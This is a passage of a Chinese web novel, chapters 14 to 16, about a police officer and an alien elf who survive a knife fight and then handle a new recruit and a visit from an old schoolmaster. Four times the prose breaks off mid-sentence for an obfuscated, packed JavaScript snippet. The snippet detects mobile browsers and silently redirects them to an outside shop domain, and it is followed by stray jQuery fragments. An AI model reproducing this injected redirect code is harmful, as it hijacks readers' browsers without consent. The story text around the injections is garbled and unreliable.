“你知道的还挺多,你不说我都忘记了,你是怎么发现的?上次又是怎么避开的?”小精灵呼出的热气让端戊耳边一阵酥痒,想要伸手抓,发现手里还牵着康屿安,下意识的又握紧了一些。 而且,酥痒着也没什么不舒服的。 “你果然后来又试图控制我了?”康屿安的声音里满是我就知道你是这种人的抗拒。 在她的语气中,端戊总是能听出眯对铲屎官的颐指气使。 “你在地球上,是需要记录在案的,而你整天只知道跑跑跑,我作为相关单位工作人员,是不是应该追追追啊?”端戊突然一改痞气,语气正义凛然。 康屿安却没吭声,只在心里默默吐槽:正儿八经说话的时候,也没有多烦人嘛,声音像是在空中跳舞一样灵动,好好的人干嘛不能好好说话。 端戊并未多想,只当是她又生气了。 里面的木门里面还真是个工作室,一个缝纫机器人正对着门口坐着,四面墙壁挂了一圈的衣服成品。 角落里有一个单人的床榻,应该是老板平时休息的地方。当然了,他现在也在那,还差点永久的休息了。 “门外那三个,人还怪好的咧,还把老板放在床上了。”康屿安以为会看到老板躺在门口的地上。 “你高估他们了,那是他们想让老板觉得自己从来没离开过这,避免报警。”端戊陷入深思,他们为什么要这么小心?他们在掩饰什么? 两个人很快就发现,这个小房间除了一扇通往卫生间的门,再也没有其他的门了。 “如果增援没到,外面的人先闯进来,你就先逃出去。”端戊指了指卫生间的浴室。 “你知道的也挺多!”康屿安学着端戊的语气揶揄她。 “那倒未必,我还是有很多不知道的事情的,比如说,你是怎么做到遁地的,或者准确点说,你是怎么遁水的?”端戊发现康屿安是个一点不肯吃亏的小精灵。 越是这样,端戊越是想逗她。 突然,外面一声破窗的巨响,真是怕什么来什么,外面的人比支援更早进来了。 “别怕!”端戊想要把康屿安塞进卫生间躲起来:“情况不对你就遁走。” “这个给你!”康屿安别扭的挣脱开,把不知道从哪找来的水果刀,摸索着把刀柄放在了端戊的手里。 端戊调侃的话还没说出来,外面的人已经冲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848833|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了门外。 “你拿着防身,我有这个!”端戊拿出那把淘汰枪,在康屿安的眼前晃了晃。 康屿安下意识退后一步,说实话,外面的那些暴徒并没有让她害怕,可她是真害怕被这破玩意儿误伤了。 第一个人进来了,是个满脸络腮胡的壮汉,撞开门的一瞬,她俩甚至都感觉到地板颤了颤。 端戊弓步站稳,用左手托起右手的手腕,瞄准了壮汉。 “砰!”第一枪打出去了,准不准她俩都不知道,因为这一枪是哑弹,光有震慑力,没有杀伤力。 “妈呀!”络腮胡果然被震慑住了,抱着头蹲在地上发出一声娇呼。 这一嗓子也把端戊和康屿安震慑住了:这是什么组织?雄性激素这么匮乏的吗?怎么看着都有点雌发展呢? 络腮胡发现自己没死,被他堵在门外的同伴还踹了他一脚:“在这装死呢?要么蹲到一边死去,要是还喘气就上!” 双重羞辱下,络腮胡顿时恼羞成怒的把一张肥肠脸嘟成一坨,气势汹汹的就冲过来。 端戊看来一眼康屿安:“自己躲好了!”话音未落就快步迎了上去。 虽然她整天把‘只有好好活着,一切才皆有可能’挂在嘴上,可是当人民群众就在她身后时,硬着头皮也得上。 这次还是主动冲上去的,她想为康屿安留出更多的安全空间,让她有更多的时间遁走。 端戊路过缝纫机器人时,余光瞥见一个发着光的长锥体,她不知道那是个啥,也顾不上是个啥,顺手就抓起来了。 起来才发现,这东西还挺顺手的,粗的一端握在手里正合适,而尖的那端正好可以当武器。 离络腮胡还有一步距离时,端戊举起大长胳膊,抡起手里的不知名长锥,朝着络腮胡那颗大脑袋的侧面,狠狠的砸过去。 刚刚他那一声惊呼,已经暴露了他十之八九不抗打的弱点,果然一长锥抡过去,魁梧壮实的身体摇晃着就砸在地面上了。 “我操!” 好家伙,地面又是一震,身后的康屿安双手紧握住匕首,整个人靠在了墙上:地球人好凶啊! 事实上,是地球人凶吗?这种事情、这种人,在全宇宙哪个星球上都有,比起地球来,只能有过之而无不及。 只能说,康屿安长这么大,还没见过这么凶的世面。 不要说康屿安,就算是端戊也没见过啊,第一次把理论搬到实践中来用,也是够刺激的,她不敢有一点大意。 打架,嗯或者格斗,都是需要一个松弛感的,越是绷着端着,越是容易被发现漏洞。 虽然端戊和剩下的三个人比起来,算得上专业的,可是新手打架总会紧张的,更何况端戊想留活口、手底下还留着劲儿呢。 端戊双手握锥,先抡向来左边的那个瘦高个,瘦高个没反应过来也倒下来。回手再抡旁边的那个光头,人家就有了预判了,弯腰躲过去了。 端戊趁着他低头,一脚踹过去,也不知道踹到哪了,嗷的一声躺在地上打起滚来。 端戊长锥砸向最后一个人,谁知道长毛怪不但有预判,还有力气,死死的握住了长锥。 两个人僵持不下时,先倒下的瘦高个已经起来了,拿着一把尖刀就刺向了端戊的后心。 14. 第 14 章 看到端戊有危险,康屿安的精灵耳吓得背到脑后,在头上瑟瑟发抖。 “她是警察!你们这是袭警!”康屿安的小心肝扑通扑通跳到嗓子眼,顾不上她端戊有没有带证件。 还别说,康屿安这一嗓子真起到了点穴作用:瘦高个定在原地,刀子不敢扎进去,当然也不敢收回来。 在短暂的怔愣间,端戊敏捷转身、大长腿侧踢在他的手腕上。 “啊!”瘦高个吃痛解穴,刀子也应声落地。 “我们可没见过什么警察,你特么是不是傻,被一个小姑娘吓唬住了!”长毛怪狠戾地叱喝瘦高个。 端戊和康屿安瞬间明白了,这伙人是要破罐子破摔,杀她俩灭口了。 “你们不要被他忽悠了,袭警和故意杀人罪量刑可是不一样的!”端戊义正言辞地警告几个人,借着长毛怪把持着长锥另一端的力道,飞身而起踢到对方的胸口。 端戊忽略瘦高个没头脑的同时,更是低估长毛怪的抗揍力。这一脚踹下去,震得自己腿都麻了,对方只不过后退了两步,手里依然紧握着长锥的另一端。 瘦高个也激活了部分脑细胞,已经跑过去捡刀了。没办法,端戊只能放弃长锥,飞奔过去一脚踢开瘦高个,先一步捡起刀子。 长毛怪高高举起了长锥、紧随端戊其后打向她的后脑,康屿安吓得忘记了哆嗦,背过去的小耳朵直直地立起来了,脚步轻盈速度飞快地跑过来。 “背后下黑手!脸都不要了是吗!”康屿安冲过来时,还不忘高声警示着端戊,她肯定打不过长毛怪啊,可是小脑子灵光啊! 快跑到时,康屿安把手里匕首飞向长毛怪,趁着对方躲闪争取到一丢丢的时间,站到了端戊的背后。 康屿安闭上紫眸,张开双臂认命地扑向端戊:爱咋咋地!生抗吧! 端戊听到高声示警,捡起刀子立刻就转过身来,正好面对扑过来的康屿安,同时也看到长毛怪举起长锥抡过来。 推开康屿安肯定是来不及了,端戊只能抱紧她全力后退,右手臂传来剧痛,后退的动作虽然躲过了重击,依然被长锥划到了。 长毛怪看到一击未中,再次扬起了长锥。 端戊怀里抱着康屿安动作受限,后背已经贴在墙上,避无可避,转身来不及了,只能抱紧康屿安,双手护住的她的头部。 “砰!” “咣!” 端戊和康屿安抱紧对方,闭紧双目。两声巨响,谁也没感到疼痛,心同时沉入谷底,快速睁开眼睛,看对方伤的重不重。 黑暗中,漆黑如潭对上黛紫如渊,四目相视时都从对方眼里看到了极致恐惧时的瞬间失魂。 端砚倏地睁开眼睛从睡梦中惊醒,笋尖似的手指轻微颤抖着,压住胸口,闭紧嘴巴,她怕自己的心会跳出来。 从小到大,只要端戊有危险,哪怕是掉进湖里,她都能第一时间感应到。端妈说,她俩的感应比双胞胎都敏锐神奇。 刚刚在梦里,她看到端戊被困在一团血雾里,看不清周围、也找不到方向,而且不断的下沉,马上就要消失在血雾里了。 端砚想喊喊不出来,想拉端戊上来又够不到,眼看着端戊就要没影儿了。 正急得不行,她看到一个背影,忽闪着一对紫色耳朵冲进血雾,背影所到之处迷雾便会散去,一条清亮的路出现在她身后。 终于看到一处血红的沼泽中,端戊只剩下一个头顶和一双手在外面,那背影及时拉住端戊晃动的双手。 端砚用力呼吸、大口喘气,直到心绪平复了,才缓缓的闭上眼睛。 “全部蹲下,把手抱在头上!”程韩威如雷霆的声音在耳边炸开。 认识这么多年来,端戊从来没觉得程韩如此之帅过。 把康屿安从脑后到后背快速地检查一遍,确认并没有受伤才放心地呲牙嘶嘶。 “真是造孽!非要可着这一条胳膊嚯嚯吗?” “很疼吧?”康屿安还未从惊惧中缓过来,双手颤抖地抓住端戊手上的胳膊。 “你干嘛不跑?”端戊看到右臂随着康屿安的手一起抖动,伤口的血似乎流的更快了。 “那得多不仗义,才能干出一个人跑的事儿?你特别疼吧?” 康屿安无措的把端戊的右臂平放在双手上,就怕稍有动作会让她更痛,丝毫没察觉到自己的手一直是在抖的。 “你是不是看地球小说看多了?还浸染出一颗侠女心了?”端戊发现康屿安又胆小又仗义的样子还挺逗。 “胡说!我的仗义是与生俱来的好吧?是生在骨子里的!疼的厉害不?”康屿安倔强的维护人设,始终关心的都是端戊有多疼。 端戊当然发现了,疼肯定是疼了,只要人民没受伤,她疼点就疼点吧,可是,人民好像把她的腿坐麻了。 “你要不先站起来,这只胳膊我可以自己先托着。”端戊笑着提醒康屿安。 康屿安这才发现,自己骑坐在端戊的腿上,她还没有从紧张中缓过来,一点都没察觉到,顿时脸就热了。 “不,不好意思……” “小师妹,伤得怎么样?是就近送你去医院,还是去军区医院?”程韩观察了一会儿才走过来,向端戊伸出手。 看着俩人姿势调皮、聊天轻松的,程韩判断端戊应该就是皮外伤,并没过来打扰,直到康屿安站了起来。 “就近就近!我们自己去就行!怎么还劳程师兄亲自出警呢?”端戊拉着程韩,借着他的手劲儿站起来,强忍着疼没嘶哈。 他们俩多少是有些渊源的,研学院的名誉教官是程韩的老师,刚好带端戊。 “刚好出任务回来,看到是我师妹请求支援,那还不得亲自带队来!伤右手臂了?”程韩的人检查电路后,恢复了正常通电。 “划了一下、皮外伤,让师兄亲自跑来看笑话,丢老师的脸了。”端戊轻抬了下胳膊。 “这如果都算丢脸了,那老师的脸都不知道该去哪找呢!”程韩用手指了指被擒后整整齐齐的七个人:“成绩不错!人我先带回去了,过后你是要提审还是提走,回头再找我!” “好咧,师兄,今天辛苦了!”几个人一起朝外走,端戊回头去找康屿安,发现小精灵难得乖巧的跟在端戊的左后侧。 “这是不跑了?”端戊低声戏弄康屿安。 “不看僧面看佛面,我看的是阿姨的面子,让你一个人去医院,显得你多可怜。” 康屿安扯着生态麻的大阔裤腿,略微有点长,但是真的很舒服,端妈眼光好的没得说。 第二天,尽管端戊全身痛得像是被拆了重新组装过一样,还是坚持吊着手臂准时上班。 别说胳膊、腿都没断了,就算是坐轮椅,今天都得来。清异局现在的情况,端戊不来,全局就得机器人总动员了。 小绿乌龟刚刚到清异局大门口,就看到黑色风衣的辛瑙站在青蓝色的超跑旁,不用开口就告诉别人了她很有钱。 “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848834|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想到还是个富二代,今天不管你是富几代,都得来这上班,姐这块儿,还真不能没有你。”端戊左手轻敲方向盘,碎碎念叨着从车子上下去。 辛瑙看到只是一夜未见,就英勇负伤成这个样子的端戊,感觉有一对小鼓槌在玩命的锤她的心脏,头上的泰迪卷根根立起的差点就变直了。 “警官姐姐,你也没说过我要上的班这么危险啊?要不我还是去坐牢吧?”辛瑙看着一步步走向自己的端戊,心里已经开始打退堂鼓了。 坐牢也就三年,出来还有命在,来这上班就难说了,小命今天在,不确保明天还在不在了。 “危险?哪来的危险?在这上班和在派出所户籍部差不多,我们这属于外星人员户籍部,怎么会危险?”端戊睁眼说瞎话的伎俩,还是从小被端妈拎着棒子追着打时练就的。 “那你这手?”辛瑙将信将疑。 “我妈打的。”端戊一脸的习以为常,语气淡淡的。 辛瑙立刻想起了端戊她妹,难怪之前说她妹的惩罚可就厉害了,想必她是不愿意的,现在看来,肯定是不愿意的啊! “你妹还好吗?”辛瑙想起了那个清冷、可爱的小丫头。 “在家里趴着呢,短时间是下不了床了。”这个倒是据实说的,即便有夸张成分,也是端砚的戏过了。 辛瑙没跑就好,端戊一点都没耽搁就把她交到干部人事科,授权了特招后,就直接把辛瑙扔给了机器人内勤,留在那审核、审批、政审、宣誓,把岗前培训和试用期都免了。 只要政审能过,就绝不给她留反悔的机会。 “以后每天有个人和自己说话了,真怕自己发际线没后移呢,语言功能先退化了!”端戊光顾着开心了,全然忘了之前自己对人家丁点没好感的事儿了。 端戊一直自认自己是个冷言可能还有些毒舌的人,可是,有了昨天无沟通工作环境的体验,她觉得自己还是挺热心肠的,比如说热衷于为无业人员安排工作。 忙完为异警系统引进人才的这件大事,端戊便一头扎进了刑事技术科。 “昨天的解剖结果有什么新发现?”端戊还是没有习惯工作无交流。 “档案已经存入系统。”一个字字不波动,节奏无差异的声音回答了她。 也别说人家无沟通,有,只是无效。 “谢谢!辛苦各位了!”哪怕是个机器人,端戊也秉着一视同仁。 “不辛苦,领导辛苦了!”机器人的电流音还挺礼貌的刺激着端戊耳膜。 “领导不辛苦,领导命苦啊!” 端戊唏嘘着把意识连接技术科的系统,搜索到昨天的解剖记录,打包先发给星际警,让他们帮忙查找死者身份信息,又把现场照片和解剖照片部分打印出来。 “后勤部,送一块线索板到我办公室来。”端戊打开瞳视开始一项项安排今天的工作。 从前郑局领着警员分析案情时都是在会议室的,现在只有她和辛瑙,她嫌那里空旷的有些凄凉。 她打算在自己办公室挂个线索板,以后办公室即会议室,多少有点王校长的风格,到底是谁带的孩子像谁了。 顺路把昨天收集回来、长得像鼻孔分泌凝固体的东西,留给技术科分析,昨晚睡前复盘时,她想起了康屿安听到糯米糕时的反应。 突然聊的那么脏,明显是想紧急制停糯米糕话题。 这时,门口的安保系统请求连接端戊的瞳视:“端局,有您的访客。” 15. 第 15 章 听到有访客,端戊脑中闪过一对紫色小耳朵,她忽略了瓦伦达效应,怕什么才来什么。 人事科的申请刚向上级提交,闻风的王校长就火急火燎地赶来了。端戊看着小老头铁青的脸色,不用问就知道因为什么事情来的。 小老头还是爱端戊的,脸都快到脚面上了,还能顾及着一局之长的颜面,一路忍着没发火,尽管来往擦肩而过的都是机器人,也不会背后蛐蛐领导。 “校长,里面请!”端戊夸张地四十五度躬身替王校长开门。 “哼!小崽子!胳膊上的伤,怎么样啊?”王校长是真的气急了,端戊都不记得上一次骂她小崽子是因为什么事儿了。 见到她这个样子还是心疼的,骂了小崽子就没再骂其他。 王校长打量不久前还是郑局的办公室的,眼圈嗖地就红了,气愤很快被悲痛所代替,那是他的兄弟单位,也是他的战友。 端戊自己也快速地扫了一圈,毕竟,她和自己的办公室也是初次见面。 对着门口的是黑色沙发和黑色茶几,旁边是一整面墙的档案柜。 正中间是黑色晶体的办公桌,和一张看着就舒适的动态压力椅,看来郑局的腰积劳成疾。 想到郑局,端戊立刻看向王校长,果然,眼看着就要老泪纵横了。 王校长身形微晃地走向沙发,端戊快步过去扶着王校长坐下,自己坐在了右侧的单人沙发上,趴在扶手上左手撑腮,哄老人家开心、等老人家教诲。 “还是老规矩?铁观音?”端戊一副还得是我最懂你的表情。 “不喝!翅膀硬的还挺快哈!”脑门喷火、满眼悲痛的王校长这会儿可不吃她这一套。 “哪能呢!您老这么说,可就是冤枉我了,不管我多少岁,都是您随时可以雕刻的璞玉!”端戊抓了抓碎发,让自己看起来能够乖巧一些。 这一套动作下来,果然转移了王校长的注意力。 “你,这是穿的什么玩意儿?”王校长打量着她黑色机车服,牛仔裤阔的、走路都能把人刮倒,裤子上大口袋小口袋都有,还有两根圆滚滚的牛仔飘带。 “既能做到便衣、不打草惊蛇,又不会看着杂乱不一,还能硬朗、有精气神,我是不是很聪明?”端戊头头是道的开始胡说八道。 王校长今天来,主要也不是为了着装问题来的,瞪了端戊一眼,便切入主题了。 “清异局交到你手上,不是让你胡来的!多少年来,人员一向都是由学校培养合格后才可以上岗的,什么时候闲杂人员都能随意给编制了?申请都不知道提前打一个,还学会先斩后奏了!这一早上,我的电话一个接一个,都快被打爆了。” 王校长气得嘴唇轻微颤抖、牙齿咯咯作响,端戊都担心他咬到舌头,便让后勤沏一壶铁观音送来,灭灭王校长的火气。 “有没有可能,一个接一个打来的都是同一个电话?咱那老人外置机就不能换一下?有事儿找您都费劲,到月发工资我就把你那老年机换掉!” 端戊伸手替王校长扶正已经滑到鼻尖的外置机,机腿都松了,再说也累耳朵啊。 王校长一巴掌拍掉端戊的手:“别再这转移重点,重点是我的外置机嘛?不应该是你不守规矩、一意孤行、自作主张吗?” 好家伙,一下子就三个罪名合并,这情节可是有点熟啊。 “您老这三联罪可就有点重了哦,我这也是形式所迫,而且还没定呢,不过是临时人员,也是要考核观察的。” 端戊可不想气坏了小老头,虽然在校四年,没有一天不给他制造惊喜的,可那都是小打小闹的。 “笃笃笃!”办公室的门像是为了缓解气氛一样,适时的敲响了。 “铁观音来了,您老正好消消气……”端戊小跑着亲自去接铁观音。 灭火的铁观音没来,火上浇油的油来了。 门外站着满头泰迪卷的辛瑙,一脸假谄真贱的对着端戊笑。 “审核完毕,已经建档,想不到我还是领导心尖尖上的人,听说警员都有试用期的,我连试用期都免了,直接正式入职……” 端戊未等她说完,便被一脚踹出去了。 “领导,你让我进来啊,哪有翻脸翻得龙像卷风似的……”辛瑙被一脚踹蒙圈了,这么快就要做冷板凳了,那你让我来干啥的? 虐我、踹我,缓解工作压力的,敢情我就是个情绪发泄器? “校长……”端戊顾不上砰砰拍门的辛瑙,快速组织语言,准备往下编。 “省省你的小脑瓜儿吧,你这个小狐狸崽子眼珠一转,我就知道你打的是什么主意。”王校长蹙起眉,核桃脸上又多出来两道纹。 门外擂鼓一样的敲门声,也震不开办公室里凝结成冰的氛围。 端戊被王校长脸上的失望刺痛了,她知道小老头对她的要求很简单,不需要有大作为,恪尽职守、秉公正义,把正清异局的方向盘就够了。 端戊突然就不想编了,她已经不是温室的小花了,她现在是撑起清异局的一颗树。 “我知道您老失望了,您放心,我一定不会丢学校的脸的,该守的原则底线,我一步都不会越界。我只是希望有些规则可以与时俱进,现在清异局是最艰难的时期,我也理解了曾经郑局对您老的吐槽,以眼下的局势来看,从前的一些规则不得不打破,这样才能让清异局正常运行。您想,如果有一天黑客入侵,全局都是不可控的机器人,真的出现全员被黑客掌控的局面,要面对的就不止是我个人的孤立无援,而是整个清异局的危机。” 端戊一脸正色,她没说,如果哪天发生厕所没纸了这样的不可预测事件,系统没有相关指令,机器人一点用都没有。 就连端戊自己鼓捣出来有情绪的那个小机器狗,也是不行的。 “幸好今天家里有你,要不然今天我就尴尬了。”端砚这个尴尬一点不夸张。 端妈喜欢把占空间的日用品放在柜子上,以端砚目前的身高来说,即便是光着腚出去、踩着凳也是够不到的。 当然了,娇小的康屿安也没好到哪去,只要垫着脚尖蹿跳,一对小耳朵就跟着抽动。 “尝尝这个汤怎么样?”康屿安盛出一小碗奶白的骨头汤给端砚。 “为我熬的?”端砚眨着似笑非笑的小眼睛,拔高了尾音。 “当然!你这不是受伤了吗?”康屿安轻揉着端砚Q弹的小屁股。 “姐姐,我伤得是屁股!”端砚盯着康屿安的小耳朵,这,应该就是梦里的那对吧? 不知道是不是错觉,端戊感觉王校长的核桃脸舒展了一些,眉心的结也松了松。 “你长大了,现在看来确实担得起这个清异局的,让外面吵闹的那个进来吧,门都快拍下来了,也是个犟驴。”王校长的言语间多了些心疼。 他一直从大局考虑,从宏观规划,却忽略了眼前的问题。而端戊遇到的难题,却是眼前实打实的琐碎。 “犟吗?收编的还挺容易的。”端戊不以为然的去开门。 “那是犟驴想喝这口水,若是不想喝,强按头都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848835|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 用。”王校长从身后摸出了自己那个有些年代感的公文包。 这是他刚毕业留校时,他的老师送给他的呢。 端戊猛地拉开门,门口用力拍门的犟驴一个猝不及防,就把自己拍了进来,刹不住惯性的跑出好几步,一直跑到王校长面前,才被茶几拦住了。 辛瑙这才看到,办公室里还坐着这么一位呢,难怪把自己关在外面了。 “不好意思,不知道领导有客,刚刚冒失了。”辛瑙对着王校长鞠了一个九十度的躬。 王校长的眉眼又舒展了一些:犟是犟点,毛还挺顺。 毛能不顺吗?看到王校长辛瑙就能想起家里亲爷爷的血脉压制。 “这位是我的老师……”端戊忍着笑,她开始相信这是一头驴了。 还未等端戊介绍完,辛瑙又是一个九十度大鞠躬,面上毕恭毕敬。 “师祖好!我是新入职的辛瑙,以后一定跟着师父认真学习,还请师祖放心!” 端戊彻底忍不住了,这犟驴还挺审时度势,把自己的身份安排的明明白白的:“我什么时候说做你师父了?” “别欺负我是新人、以为我什么都不懂,新入职的警员都是要有一个师父带的,你看我还有得选择吗?”辛瑙面对端戊时,可就没了对王校长的毕恭毕敬,反而扬起了下巴。 “你这是觉得委屈了?有其他的选择你就不选我了?”尘埃刚落定,端戊就恢复了对辛瑙的不喜。 “好啦,现在也是做师父的人了,小脾气收着点。”看着这个一头小卷毛的犟驴,王校长倒是喜欢的很。 被端戊气了这么多年,终于有人替自己收回来这笔账了。 更何况,虽然几十年来桃李满天下,可是辈分儿就没变过啊,今天在辛瑙这,竟然长辈儿了,成师祖了。 这个称呼新鲜,王校长喜欢的不得了,连带这个背负收账重任的辛瑙,也喜欢极了。 高兴的差点忘了正事了,幸好手摸到了辛瑙太师祖传下来的公文包。 “辛瑙啊,今天师祖主要也是为你来的,见到你也很是放心,师祖还给你带了礼物……”王校长笑呵呵的打开了公文包。 “就她?还有礼物?我跟了您四年了,天天和您四目相对、真心陪伴,您都没说送我……”端戊急了,炸毛了,不干了。 可是看到王校长拿出来的礼物,一看一个不吭声。 辛瑙还一脸得意的看着一脸不愿意的端戊,要多得瑟有多得瑟。 “师父,这就是您的不对了,您和自己徒弟争什么嘛,那代表师祖对我的疼爱,你可不要嫉妒哦!” “我不嫉妒,你师祖疼爱你,那都是你应得的!”端戊笑得眉眼弯弯,左手做出请的手势。 看到端戊这么客气、这么大气,辛瑙心满意足的转向王校长,表情瞬间失去了管理:“师祖,这就是您给我的礼物?” “正是!从今晚开始,我辛苦点,每天晚上腾出两个小时给你线上补课。”王校长笑吟吟的递上几本课本,笑得一脸慈爱。 “师祖,您老大可不必这么辛苦……”辛瑙万分无奈的接过课本,还是新的咧,满是墨香。 “在教学的正事儿上,怎么能怕辛苦?招牌不能砸了!”新生还未招上来,他可不愿意闲下来。 “哈哈哈哈对对对!辛瑙你要好好学习啊,不能辜负了你师祖。”端戊看热闹不嫌事大的坐下来,笑得八颗小白牙都露在了外面。 刚坐下瞳视就打进来了,又是门口安保机器人:“端局,您有访客到。” 16. 第 16 章 端戊用拇指和食指接住差点惊掉的下巴,战略性的摩挲下巴,半尴尬半礼貌的对着王校长笑。 “都说贵人带客,一点不假。也不知被您老这贵客带来的,又是哪位客。” “既然有客,你忙你的,我就先走了。”王校长摸起师传公文包,一手撑着沙发扶手,一手撑着膝盖,缓慢的站起来。 看得出,王校长今年的身体和去年比,差得可不止是西瓜和芝麻。端戊的心里像是被塞进了棉花一样堵的慌,赶紧过去搀扶。 辛瑙也跟了过来扶着王校长的另一边,顺手还接过了古董包,心里盘算着要给师祖换哪个牌子的新包才符合师祖的气质呢? “您的铁观音还没送来呢,别急着走,让辛瑙陪您聊天、喝会儿茶再走。”看王校长屁股还没坐热就要走,端戊有点急。 再也不能每天见面的人,分别时心里总会酸酸的不舍。 “师父再让人送一壶茶来吧,刚刚那壶被我在门口截下来了,我不知道是师祖的……”难得在辛瑙脸上看到羞赧,她是真的像敬重她爷爷一样,敬重着她师祖。 “你……”若不是中间隔着王校长,端戊一定会一脚踹在辛瑙屁股上。 端戊探出头瞪了辛瑙一眼,却突然想明白了:很多事情是被推着走的,比如说,现在她就突然就多了一个徒弟,然后身上的那个感觉、那个味儿,它自己就出来了。 想必那些当了爷奶爹妈的味儿,也是这么被逼出来的吧。 “不喝了、不喝了,辛瑙正好替我喝了还免得浪费。在门外又拍又喊了那么长时间,嗓子都冒烟了吧?” 隔代疼的说法是一点不骗人啊!王校长纵容辛瑙的样子,让端戊感到又陌生又羡慕。 不要说端戊没眼看了,自认脸皮举世无双的辛瑙也是有些不好意思的。 初次见面就横冲直撞的出场,反而被王校长当小孩子似的宠溺,再无敌的脸皮也被溺爱的小针针戳了个透。 “那个……还真的是冒烟了,不好意思啊师祖……”辛瑙揉搓着有点发烫的脸,感觉薄了许多呢。 这祖孙情深的画面有点戳痛端戊了:就这么一会儿功夫,自己怎么就像个外人了? “我让后勤送您老回去吧,顺便把酱油筋接出来,我都想它了……” “不用你送,学校有车接送我,酱油筋属于学校的成员,你想拐走门儿都没有!”王校长斩钉截铁的拒绝了,丝毫不留回旋的余地。 “您这就不讲理了哦,那可是我捡回来我养的,属于我的私人物品……”端戊还想再争取争取。 王校长给了她一个想都别想的眼神:“你捡回来的又怎样?是谁抢救的?又是谁每天在铲屎的?酱油筋在你那,最多是个私人物品。在学校,它是其中一份子、是成员!你说它应该是谁的?” “那当然是师祖的!包的!”搅屎棍辛瑙见缝插针的站队。 端戊想踹死她:“你是准备和你师祖回学校了是吧?” “师祖您看,师父她威胁我!”辛瑙敏锐的察觉到了端戊的杀气,茶里茶气的依偎着王校长告状。 王校长一脸承欢膝下的满足,笑呵呵的看着大门打开了。 门外站着一个长着紫耳朵的小精灵,还有一个四不像的机器狗,一看就是端戊摆弄出来的玩意儿。 不用问,小紫耳朵是来找端戊的,王校长的核桃脸挂上了瓜味儿,却发现端戊和辛瑙的脸色更耐人寻味。 尤其是辛瑙,像是被骗进了某区待割某腰。 “局,这是个局?” “局个屁,叫师父就行!”端戊一脚踹开辛瑙,把王校长扶上学校的车。 辛瑙眯起本就不太大的眼睛,戒备的审视着康屿安:即便你是天仙,也别想让我原谅你! “小耳朵,你是来自首的,还是出狱了?” 康屿安又怎么会听不出来她的不友好:“我有名字,泰迪卷。” “我也有名字!小耳朵!辛瑙觉得自己委屈爆了,现在骗子还这么理直气壮、这么凶的吗? 端戊眼见着俩人要吵起来,赶紧把辛瑙拉过来和王校长告别。 辛瑙的师祖看着辛瑙委屈巴巴的摆手,只当是辛瑙对他这个师祖的不舍,用手指轻点着端戊嘱咐:“不许欺负瑙瑙。” 背锅精灵康屿安根本不知道为什么辛瑙会判若两卷,她甚至怀疑这个泰迪卷根本不是之前的那个泰迪卷吗?也没怀疑过自己曾经成为端戊布局中的一环。 “师父就不给我个合理的解释吗?”辛瑙指着康屿安,一副要名分的样子。 康屿安懒得知道是怎么回事,只想快点回去。 “喏,这是我煮的骨头汤,做给端砚和阿姨的,多出来的扔了浪费,给你喝吧!阿姨让我告诉你,别孤身犯险了要注意安全。” “师父,你不是说,是你妈打的吗?” 康屿安把保温壶交到端戊的手上,已经打算坐上银河回去了,隐约觉得自己好像暴露了什么,这个瓜倒是可以吃一吃? 端戊略显尴尬的看了看康屿安:她不会以为我说谎成性吧?我这一辈子的谎言,都用在了辛瑙身上啊! 若是让辛瑙知道,还真是要谢谢她呢。 端戊怎么能让她知道,轻舔了下唇略作沉思:“辛瑙啊,这是师父给你上的第一课,叫兵不厌诈!” “师父,你这就是阴险狡诈!”辛瑙又炸毛了。 端戊怀疑她这一脑袋的小卷毛都是因为脾气不好、动不动就炸毛,自己把自己炸成这样的。 看热闹的康屿安抿紧双唇尽量不让自己笑出来:小卷毛是被骗来的?原来进清异局的基础条件是有一项异能? “怎么和师父说话呢,再说,你不是也挺愿意的吗?你如果不愿意来,怕是我再怎么诈你,也留不下你吧?”端戊突然想起了王校长说过的话。 “你,你怎么知道的?那我也应该有知情权啊?”辛瑙预感自己又要战败了。 端戊笑了:要么怎么说,姜还是老的辣呢! 康屿安知道,局势已定,没有什么热闹可看了。小卷毛的气焰怎么这么快就弱下来了?啥也不是。 “从今以后,工作上的所有事宜,你都有知情权,我也不会对你使诈了,我们现在是战友,是后背能够放心交给对方的关系,必须相互信任!”端戊的声音飘渺而坚定,如梵音一般。 康屿安看到收起来嬉笑的端戊,又变回了那个郑重其事、甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 